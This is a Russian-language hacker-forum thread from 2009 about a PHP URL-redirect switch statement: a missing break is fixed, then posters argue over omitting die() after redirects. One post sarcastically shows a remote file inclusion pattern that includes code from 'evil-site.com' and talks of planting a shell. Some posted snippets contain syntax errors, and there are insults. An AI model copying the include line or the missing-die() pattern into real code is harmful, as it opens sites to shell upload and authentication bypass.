переход по заданному адресу [PHP]

Discussion in 'PHP' started by Lionis, 31 Jul 2009.

  1. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Pashkela, нет, ты меня бесишь и у тебя ублюдочная аватарка, помимо того, что просто клоун :-*

    Ничем, просто здесь будет достаточно хтмл форму после пхп пустить, а когда кода много удобнее не гемороица и юзать js. Короче, просто мне так удобнее и привычнее.
     
    2 people like this.
  2. Lionis

    Lionis Member

    Joined:
    13 Dec 2008
    Messages:
    94
    Likes Received:
    7
    Reputations:
    0
    test пашет , а test2 вместо того чтобы на Yandex - выдаешь страницу ошибки google , как при условии неверного введения ...
    PHP:

    <form>
    <input type="text" name="url">
    </form>
    <?php
    if(isset($_GET['url']))
    {
    switch(
    $_GET['url'])//)
    {
    case 
    "test":
    header("location:http://google.ru");
    break;
    case 
    "test2":
    header("location:http://yandex.ru");
    default;
    header("location:http://google.ru?error");
    break;
    }
    }
    ?> 

     
  3. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    После header("location:http://yandex.ru"); добавь break;

    Короче, вот готовый вариант:

     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Не, что бешу, это понятно, а если опять по сабжу - ну если javascript в браузере отключен, то что? Несмотря на то, что так привычней? Какие действия, как проверять будешь и etc. Я серьезно. Просто интересно, может пригодится
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ну да, тут серьёзная бага, если отключён js то можно попасть в эту часть кода

    а здесь уже сам понимкаешь и до заливки шелла недалеко
     
  6. Lionis

    Lionis Member

    Joined:
    13 Dec 2008
    Messages:
    94
    Likes Received:
    7
    Reputations:
    0
    rushter , n0ne , Spyder Большое вам спасибо ! Все работат - всем +10 , Pashkela ^_^
     
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Spyder фишку рубит, но хотелось бы услышать n0ne
     
    1 person likes this.
  8. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Pashkela, юзать js в каком-то проекте не буду, буду юзать хэдеры или на крайняк, если уж совсем припрет - инклюдить meta-редирект
     
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    А, понятно. Ну, проблему автору темы решили, всем гуртом, и слава богу
     
    1 person likes this.
  10. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    мне не за что спасибо, я ничем не поиог и пшп не знаю ввобще. в тему случайно попал
     
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Spyder:

    Ну как же, ты развил тему и предложил сразу два новых способа залить шелл - грины как всегда на высоте. Зачод
     
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    такая вот у нас, у гринов, работа
     
    1 person likes this.
  13. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Знаю :D
     
    1 person likes this.
  14. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    [​IMG]
     
    1 person likes this.
  15. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    А зачем вообще die() после header() ?
    Какая уязвимость может быть тут? Можно пример?
     
    1 person likes this.
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    попугай, в статье электа описано
    Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает ява скриптом на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку

    Видимо Пашкела просто прочитал статью ничего не поняв и пытается доказать что в этом коде есть ужасная бага, т.к в данном скрипте ничего опасно нет, посты Пашкелы выглядят немного бредом.
    Конечно не стоит забывать про особые обстоятельства
     
    #36 Spyder, 3 Aug 2009
    Last edited: 14 Aug 2009
    1 person likes this.
  17. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Ув.Spyder, готов с Вами подискутировать на эту тему!
    А если будет листинг кода подобный этому?
    PHP:
    switch($_GET['url'])
    {
        case 
    "test":
        
    header("location:http://google.ru");
        include(
    'http://evil-site.com/'.$_GET['url'].'.txt')
        break;
        case 
    "test2":
        
    header("location:http://yandex.ru");
        default:
        
    header("location:http://google.ru?error");
        or die(
    'Ошибон :D');
        break;

    тогда этот буквально как решето!!! всего лишь нужно похекать сайт http://evil-site.com/, и залить туда шелл с именем test.txt и все!!! Мы похеканы! а вот был бы код такой :
    PHP:
       case "test":
        
    header("location:http://google.ru"); 
        die();
        include(
    'http://evil-site.com/'.$_GET['url'].'.txt')
        break;
     
    Мы бы были защищены! =)
    Ты просто не знаешь особых условий, чтобы switch сделать инклудом
     
    3 people like this.
  18. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    PHP:
    <?php
    if(isset($_REQUEST['url'])) {
        switch(
    $_REQUEST['url']]) {
            case 
    'test':
                
    header("Location: http://goggle.com");
                break;
            case 
    'test2':
                
    header("Location: http://yandex.ru");
                break;
            default:
                
    header("Location: http://google.com/error");
                break;
        }
        exit;
    }
    ?>
    <form>
    <input type="text" name="url">
    <input type="submit">
    </form>
     
  19. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    ебаный насос, да вы тут развели 5 страниц на 5 строк кода. даже не заметил.
     
  20. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    GreenBear, ппц, ты не в курсе что у тебя в коде 4 баги? Забыл что надо die() ставить? Вступай в наш фан-клуб, узнаешь как писать безопасный код